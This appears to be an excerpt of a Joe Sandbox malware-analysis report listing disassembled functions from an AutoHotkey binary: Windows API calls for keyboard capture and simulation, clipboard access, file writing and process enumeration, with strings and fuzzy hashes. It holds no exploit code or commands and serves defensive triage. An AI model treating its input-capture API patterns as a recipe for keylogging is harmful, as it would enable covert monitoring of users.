GetWindowThreadProcessId.USER32(?,00000000), ref: 0040C3C6
GetKeyboardLayout.USER32(00000000), ref: 0040C3CB
GetClassNameW.USER32(00000000,?,0000001C), ref: 0040C3F0
__wcsicoll.LIBCMT ref: 0040C403
ToUnicodeEx.USER32(?,?,?,?,00000002,00000000,00000000), ref: 0040C499
ToUnicodeEx.USER32(?,?,?,?,00000002,00000000,00000000), ref: 0040C4BE
GetKeyState.USER32(00000014), ref: 0040C517
ToUnicodeEx.USER32(?,?,?,?,00000002,00000000,00000000), ref: 0040C582
ToUnicodeEx.USER32(?,?,?,?,00000002,00000000,?), ref: 0040C67B
ToUnicodeEx.USER32(?,?,?,?,00000002,00000000,?), ref: 0040C75F
ToUnicodeEx.USER32(?,?,?,?,00000002,00000000,?), ref: 0040C794
_memset.LIBCMT ref: 0040C7C7
ToUnicodeEx.USER32(?,?,?,?,00000002,00000000,?), ref: 0040C811

Strings

ApplicationFrameWindow, xrefs: 0040C3FD
0, xrefs: 0040C3A3

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Unicode$ThreadWindow$Process$ClassForegroundInfoKeyboardLayoutMessageNamePostState__wcsicoll_memset
String ID: 0$ApplicationFrameWindow
API String ID: 1795949194-1469001145
Opcode ID: 96dc43f701551e9b8907ddb99e0c0740473af773b2777b2ceee3ceb27f2bce96
Instruction ID: fc26394d7529ecc9bf4bda175551f6bc0fe6c8818d9b59603b6b3f170d38348c
Opcode Fuzzy Hash: 96dc43f701551e9b8907ddb99e0c0740473af773b2777b2ceee3ceb27f2bce96
Instruction Fuzzy Hash: 78F13A31508380DED721CB24D894BBB7BE4EB8A704F04463FE885973D2D7789949D7AA

Uniqueness

Uniqueness Score: -1.00%

Function 004427E0 Relevance: 28.4, APIs: 10, Strings: 6, Instructions: 441windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041CA90: __wcsicoll.LIBCMT ref: 0041CAAB
Part of subcall function 0041CA90: __wcsicoll.LIBCMT ref: 0041CAC1

GetForegroundWindow.USER32 ref: 00442859
IsWindowVisible.USER32(00000000), ref: 00442874

Strings

%s1, xrefs: 00442A3B
0x%06X, xrefs: 00442C7A
user32, xrefs: 00442C05
GetLayeredWindowAttributes, xrefs: 00442C00
0x%08X, xrefs: 00442B9E
Parameter #2 invalid., xrefs: 00442815

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window__wcsicoll$ForegroundVisible
String ID: %s1$0x%06X$0x%08X$GetLayeredWindowAttributes$Parameter #2 invalid.$user32
API String ID: 1910143062-141734719
Opcode ID: 453a6aa50027174082cedce99cb7d4f061df8e7c1ec26787be7f105a86ab5a6b
Instruction ID: 2a0d6012060bb4b7cf7467790ff51c93513cd7879697af52335a722f09b628c9
Opcode Fuzzy Hash: 453a6aa50027174082cedce99cb7d4f061df8e7c1ec26787be7f105a86ab5a6b
Instruction Fuzzy Hash: 7ED124727043015BE720EF69AD81F6B73D8AB98314F504A2FF945972C1DAF8DC4483AA

Uniqueness

Uniqueness Score: -1.00%

Function 0044D570 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 223filewindowCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 0044D5A4
GetTickCount.KERNEL32 ref: 0044D5BB
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0044D5DE
GetTickCount.KERNEL32 ref: 0044D5F4
FindNextFileW.KERNEL32(00000000,00000010), ref: 0044D6B5
FindClose.KERNEL32(00000000), ref: 0044D6C4
GetLastError.KERNEL32 ref: 0044D6DB
FindFirstFileW.KERNEL32(?,?), ref: 0044D725
GetTickCount.KERNEL32 ref: 0044D73C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0044D75F
GetTickCount.KERNEL32 ref: 0044D775
__swprintf.LIBCMT ref: 0044D7E6
FindNextFileW.KERNEL32(00000000,00000010), ref: 0044D80C
FindClose.KERNEL32(00000000), ref: 0044D81B

Strings

%s\%s, xrefs: 0044D7E0
., xrefs: 0044D787

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Find$CountFileTick$CloseFirstMessageNextPeek$ErrorLast__swprintf
String ID: %s\%s$.
API String ID: 2043249117-2631528844
Opcode ID: a5495b4742bf325c753171301b87c755e6be2d3d861bb32ee9abc19556a7e317
Instruction ID: 60e6e54888df9337c150f74833bcb2375433215fda5bcd6b74ea0acd044e7332
Opcode Fuzzy Hash: a5495b4742bf325c753171301b87c755e6be2d3d861bb32ee9abc19556a7e317
Instruction Fuzzy Hash: 6281D9359043059FD720EF24D884BAB77E5EF84314F05492FF89687390EBB8A945C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00405330 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 74clipboardCOMMON

Download Yara Rule

APIs

GetClipboardFormatNameW.USER32(0000000D,00000104,00000104), ref: 0040535C
__wcsnicmp.LIBCMT ref: 0040536E
__wcsicoll.LIBCMT ref: 00405387
__wcsicoll.LIBCMT ref: 0040539C
__wcsicoll.LIBCMT ref: 004053B1
__wcsicoll.LIBCMT ref: 004053C6
__wcsicoll.LIBCMT ref: 004053DB
__wcsicoll.LIBCMT ref: 004053F0
GetClipboardData.USER32(0000000D), ref: 00405416

Strings

ObjectLink, xrefs: 00405381
Native, xrefs: 004053AB
MSDEVColumnSelect, xrefs: 004053D5
Link Source, xrefs: 00405368
OwnerLink, xrefs: 00405396
Embed Source, xrefs: 004053C0
MSDEVLineSelect, xrefs: 004053EA

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$Clipboard$DataFormatName__wcsnicmp
String ID: Embed Source$Link Source$MSDEVColumnSelect$MSDEVLineSelect$Native$ObjectLink$OwnerLink
API String ID: 3127108255-1844231336
Opcode ID: 1369400820dd825248964eb8c27f6f12a8442828932965714ae623aefdcd4fc0
Instruction ID: 160f863454043d71a15cd635fa272db83c91929eb6ba05ad37da613675058f47
Opcode Fuzzy Hash: 1369400820dd825248964eb8c27f6f12a8442828932965714ae623aefdcd4fc0
Instruction Fuzzy Hash: 5011E47290030126DB20F7608D42BAF76D89F20702F54093EAC95D12C2F7BDDA18CAAA

Uniqueness

Uniqueness Score: -1.00%

Function 0045C3A0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 163windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000001,?,?,00000000), ref: 0045C403
IsIconic.USER32(00000000), ref: 0045C410
GetWindowRect.USER32(00000000,?), ref: 0045C424
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 0045C474

Part of subcall function 00443AD0: GetForegroundWindow.USER32 ref: 00443BC1
Part of subcall function 00443AD0: IsIconic.USER32(00000000), ref: 00443BD0
Part of subcall function 00443AD0: GetWindowRect.USER32(?,?), ref: 00443BE8

Strings

Alt, xrefs: 0045C450
Slow, xrefs: 0045C3AF
0x%06X, xrefs: 0045C529
RGB, xrefs: 0045C4F9
DISPLAY, xrefs: 0045C46F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ForegroundIconicRect$Create
String ID: 0x%06X$Alt$DISPLAY$RGB$Slow
API String ID: 472947238-780868468
Opcode ID: 814949ed51662adac389453c6611237bf09c4d221aaef5d41941407a7515d679
Instruction ID: 99112cdcc19f8f63909ba898ffbc545652ef35aab0819a49b9b2df07c7d25289
Opcode Fuzzy Hash: 814949ed51662adac389453c6611237bf09c4d221aaef5d41941407a7515d679
Instruction Fuzzy Hash: C141F7317443006BD210AB659C81F7F7798EB86716F10052BFE51962C2DAA99C0987BE

Uniqueness

Uniqueness Score: -1.00%

Function 00483160 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136clipboardCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 00483190
GlobalUnlock.KERNEL32(00000000), ref: 004831C2
CloseClipboard.USER32 ref: 004831CE

Strings

Out of memory., xrefs: 004832AA
Can't open clipboard for writing., xrefs: 00483179
GlobalLock, xrefs: 00483304

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Clipboard$CloseEmptyGlobalUnlock
String ID: Can't open clipboard for writing.$GlobalLock$Out of memory.
API String ID: 219879227-2567692066
Opcode ID: 8f3b26adc78bcdb9eb79fa024ea01f02febe4a29d5a66cc4ef47170832be32b1
Instruction ID: c57421b41dc4e990d6799bc134f68bd9a405de37a936a3b3bf9b31c77ae85033
Opcode Fuzzy Hash: 8f3b26adc78bcdb9eb79fa024ea01f02febe4a29d5a66cc4ef47170832be32b1
Instruction Fuzzy Hash: 87419E36901214DBDB10BF69AC4D66F7B64EB85F0BB01067FE84692320DB7989448BDD

Uniqueness

Uniqueness Score: -1.00%

Function 00405160 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100clipboardCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 00405184
GlobalUnlock.KERNEL32(00000000), ref: 0040519B
CloseClipboard.USER32 ref: 004051A4
GlobalUnlock.KERNEL32(00000000,00000000,-00000001), ref: 004051DB
GlobalFree.KERNEL32(00000000), ref: 004051ED
GlobalUnlock.KERNEL32(?,-00000001), ref: 00405203
CloseClipboard.USER32 ref: 00405208

Part of subcall function 00405260: GlobalUnlock.KERNEL32(00000000,74DEE0D0,?,00000000,00405259,SetClipboardData), ref: 0040527C
Part of subcall function 00405260: CloseClipboard.USER32 ref: 00405281
Part of subcall function 00405260: GlobalUnlock.KERNEL32(00000000,74DEE0D0,?,00000000,00405259,SetClipboardData), ref: 00405295
Part of subcall function 00405260: GlobalFree.KERNEL32(00000000), ref: 004052A5

Strings

EmptyClipboard, xrefs: 004051AF
SetClipboardData, xrefs: 0040524F
Can't open clipboard for writing., xrefs: 00405176

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Global$Unlock$Clipboard$Close$Free$Empty
String ID: Can't open clipboard for writing.$EmptyClipboard$SetClipboardData
API String ID: 1414016178-2690908087
Opcode ID: c73e0caa30bde1bd22e9df05c7a86d4b6c09dbf97a423425490f2711cdd72d5a
Instruction ID: 8d1d48b6001d82658aec73d50d9fc647b4864f78e018f0f0a72cb5d81f1ac77b
Opcode Fuzzy Hash: c73e0caa30bde1bd22e9df05c7a86d4b6c09dbf97a423425490f2711cdd72d5a
Instruction Fuzzy Hash: 50316C71A01B019FDB30AFA6D8C4517BBE4EF51305324893FE18796AA1CB38E884CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00416450 Relevance: 19.9, APIs: 13, Instructions: 439keyboardwindowthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041647E
GetKeyboardState.USER32(?), ref: 0041654A
SetKeyboardState.USER32(?), ref: 004165E9
PostMessageW.USER32(00000000,00000100,?,00000000), ref: 00416615
PostMessageW.USER32(00000000,00000101,?,00000000), ref: 00416652
BlockInput.USER32(00000000), ref: 0041668E
GetForegroundWindow.USER32 ref: 004166EC
GetAsyncKeyState.USER32 ref: 0041671C
keybd_event.USER32(?,00000000,?,00000000), ref: 004167E7
GetAsyncKeyState.USER32(?), ref: 00416832
keybd_event.USER32(?,00000000,00000002,00000000), ref: 00416912
GetAsyncKeyState.USER32(?), ref: 0041694D
BlockInput.USER32(00000001), ref: 004169AE

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: State$Async$BlockInputKeyboardMessagePostkeybd_event$CurrentForegroundThreadWindow
String ID:
API String ID: 802988723-0
Opcode ID: 7bdbf257f0675f6cb940170d5053c9fd39849ff9e705013827cf156930de4698
Instruction ID: 373af51758b1cfb73e14f7e3d7445ebf64b6756c6e97ed69fdd2b3924b22597b
Opcode Fuzzy Hash: 7bdbf257f0675f6cb940170d5053c9fd39849ff9e705013827cf156930de4698
Instruction Fuzzy Hash: 8702F3B05093859BDB11DF24D8447EB7FE5AB46318F09445FF88587391C63CC989CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00484160 Relevance: 19.7, APIs: 13, Instructions: 170threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0048417A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ProcessThreadWindow
String ID:
API String ID: 1653199695-0
Opcode ID: c3d927dbe5d44382d6bc045fb318de5d0e8f67fbfa7f5f6e6d5b53711f78de40
Instruction ID: b239e7d7b5332848d61dbbbdbe924dfe08be1d45e7ca1f5319af6318759aa408
Opcode Fuzzy Hash: c3d927dbe5d44382d6bc045fb318de5d0e8f67fbfa7f5f6e6d5b53711f78de40
Instruction Fuzzy Hash: 22517C717083022BE320BF686C49B6F7BD8DBC1708F440C6AF90192682E7B8D844879E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A3C0 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 434COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0042A44A

Strings

Duplicate class definition., xrefs: 0042A76B
Out of memory., xrefs: 0042A880
Missing class name., xrefs: 0042A48C
__Class, xrefs: 0042A5B8, 0042A817
Full class name is too long., xrefs: 0042A6F3
Invalid class name., xrefs: 0042A4F2
Syntax error in class definition., xrefs: 0042A5F6
This class definition is nested too deep., xrefs: 0042A3DB
extends, xrefs: 0042A444

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsnicmp
String ID: Duplicate class definition.$Full class name is too long.$Invalid class name.$Missing class name.$Out of memory.$Syntax error in class definition.$This class definition is nested too deep.$__Class$extends
API String ID: 1038674560-3763243221
Opcode ID: 066de17c46d6b9157782770263903c6dc14135bf3431ddf4fcb7b9dfd7b1a775
Instruction ID: c21f3f0e24b054165d4d547b89fe1bf609704dfc47b75449ab7d33523ab9c9bf
Opcode Fuzzy Hash: 066de17c46d6b9157782770263903c6dc14135bf3431ddf4fcb7b9dfd7b1a775
Instruction Fuzzy Hash: 6DE1EF717002209FC714DF19E884AABB7E0EB98314F94846FEC498B351D778DDA5CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00416010 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

@, xrefs: 004160D7

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 1214dc3ae6a7fd40633699512148976d7e630de926709595636ad10cc6a208c0
Instruction ID: 96da0fd9d2641e509dfa414d6ceeb0d5953e3562fb8b37af64d20daf0b8591b1
Opcode Fuzzy Hash: 1214dc3ae6a7fd40633699512148976d7e630de926709595636ad10cc6a208c0
Instruction Fuzzy Hash: 7F41553466839065F7109728DC117FB2FA09B42B45F09806FEAC84B2C7DAA8C884D76F

Uniqueness

Uniqueness Score: -1.00%

Function 0048E630 Relevance: 17.1, Strings: 13, Instructions: 825COMMON

Download Yara Rule

Strings

$, xrefs: 0048EF8F
UTF16), xrefs: 0048E725
Error text not found (please report), xrefs: 0048F002
LF), xrefs: 0048E887
CR), xrefs: 0048E833
BSR_UNICODE), xrefs: 0048EB01
UCP), xrefs: 0048E783
ANYCRLF), xrefs: 0048E9F3
ANY), xrefs: 0048E97B
BSR_ANYCRLF), xrefs: 0048EA68
NO_START_OPT), xrefs: 0048E7DB
CRLF), xrefs: 0048E903
no error, xrefs: 0048EFE5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: $$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$Error text not found (please report)$LF)$NO_START_OPT)$UCP)$UTF16)$no error
API String ID: 0-3688278424
Opcode ID: f7c8510000e31cd52ba6468268f918b3bc92d016c9fc1803b811cca95086361c
Instruction ID: e784635c8bd2139e10d2bec327dc58af05008652cf04d3307f37c6e1f2c8d748
Opcode Fuzzy Hash: f7c8510000e31cd52ba6468268f918b3bc92d016c9fc1803b811cca95086361c
Instruction Fuzzy Hash: C662C0719087918BD324AF16C8507BFB7E1FF94704F548D2EE59A87380E7789988CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004172F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

@, xrefs: 00417588

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 1e39c6bc1586c368e615f6a9ffd4d0a2371e6055849fad9f9b457ada5917eeb4
Instruction ID: 0b671fa1b11d50ee85d906a5dfa92b23e23413a49b8cf5a3d32f9b001b3c3a98
Opcode Fuzzy Hash: 1e39c6bc1586c368e615f6a9ffd4d0a2371e6055849fad9f9b457ada5917eeb4
Instruction Fuzzy Hash: 2CA1CE7064C2049FE718DB28D8847ABB7F2EB84355F58092FF88282391D73C99C5CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0045F620 Relevance: 15.1, APIs: 10, Instructions: 123processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0045F635
Process32FirstW.KERNEL32(00000000,00000000), ref: 0045F647
__wcstoi64.LIBCMT ref: 0045F673

Part of subcall function 0049A060: wcstoxq.LIBCMT ref: 0049A081

Process32NextW.KERNEL32(00000000,?), ref: 0045F694
__wsplitpath.LIBCMT ref: 0045F6D5
__wcsicoll.LIBCMT ref: 0045F725
Process32NextW.KERNEL32(?,?), ref: 0045F73B
CloseHandle.KERNEL32(00000000), ref: 0045F74E
CloseHandle.KERNEL32(00000000), ref: 0045F761
CloseHandle.KERNEL32(?), ref: 0045F778

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CloseHandleProcess32$Next$CreateFirstSnapshotToolhelp32__wcsicoll__wcstoi64__wsplitpathwcstoxq
String ID:
API String ID: 2291101207-0
Opcode ID: a511926cdeb7f91de8ed4d270e043d63569d815aabd5049367311111dcf8d9ea
Instruction ID: b61aeac3330c6fc0907212593bc28a8b2898d2af38d80bc3250366cd3494e1dd
Opcode Fuzzy Hash: a511926cdeb7f91de8ed4d270e043d63569d815aabd5049367311111dcf8d9ea
Instruction Fuzzy Hash: FB31B2726043056BD720AF649C05BEF77A8EBC4311F04493EFA4687281E779D60DC79A

Uniqueness

Uniqueness Score: -1.00%

Function 0047C320 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 110fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?), ref: 0047C36C
FindClose.KERNEL32(00000000,?,?), ref: 0047C378
GetFileAttributesW.KERNEL32(?,?,?,?), ref: 0047C38C
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000000,00000000,?,?,?,?), ref: 0047C3AC
WriteFile.KERNEL32(00000000,004CE5F4,00000004,?,00000000,?,?,?,?), ref: 0047C3F8
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0047C416
CloseHandle.KERNEL32(00000000), ref: 0047C42B

Strings

\\?\, xrefs: 0047C341

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: File$CloseFindWrite$AttributesCreateFirstHandle
String ID: \\?\
API String ID: 1175878799-4282027825
Opcode ID: 9c212303936b7a5f671ba9710735a1c836d152daf3b457fa4c6b024b5f2afd6e
Instruction ID: 1976c0860d5ae97e70c096ccffbe6f17a510b1299ada09306ca8f8e01cec2858
Opcode Fuzzy Hash: 9c212303936b7a5f671ba9710735a1c836d152daf3b457fa4c6b024b5f2afd6e
